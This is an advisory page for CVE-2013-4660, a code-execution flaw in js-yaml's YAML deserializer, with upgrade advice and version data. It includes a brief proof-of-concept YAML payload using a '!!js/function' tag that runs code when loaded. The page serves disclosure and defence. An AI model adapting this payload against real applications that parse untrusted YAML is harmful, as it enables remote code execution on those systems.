Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXh4dnctNDVycC0zbWoy
Deserialization Code Execution in js-yaml
Versions 2.0.4 and earlier of js-yaml
are affected by a code execution vulnerability in the YAML deserializer.
Proof of Concept
const yaml = require('js-yaml');
const x = `test: !!js/function >
function f() {
console.log(1);
}();`
yaml.load(x);
Recommendation
Update js-yaml to version 2.0.5 or later, and ensure that all instances where the .load()
method is called are updated to use .safeLoad()
instead.
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXh4dnctNDVycC0zbWoy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: about 7 years ago
Updated: almost 2 years ago
EPSS Percentage: 0.96271
EPSS Percentile: 0.99678
Identifiers: GHSA-xxvw-45rp-3mj2, CVE-2013-4660
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-4660
- https://github.com/advisories/GHSA-xxvw-45rp-3mj2
- https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/
- https://www.npmjs.com/advisories/16
Affected Packages
npm:js-yaml
Dependent packages: 20,789Dependent repositories: 1,075,506
Downloads: 394,437,045 last month
Affected Version Ranges: < 2.0.5
Fixed in: 2.0.5
All affected versions: 0.2.0, 0.2.1, 0.2.2, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.3.4, 0.3.5, 0.3.6, 0.3.7, 1.0.0, 1.0.1, 1.0.2, 1.0.3, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4
All unaffected versions: 2.0.5, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7, 3.3.0, 3.3.1, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.5.0, 3.5.1, 3.5.2, 3.5.3, 3.5.4, 3.5.5, 3.6.0, 3.6.1, 3.7.0, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.9.0, 3.9.1, 3.10.0, 3.11.0, 3.12.0, 3.12.1, 3.12.2, 3.13.0, 3.13.1, 3.14.0, 3.14.1, 4.0.0, 4.1.0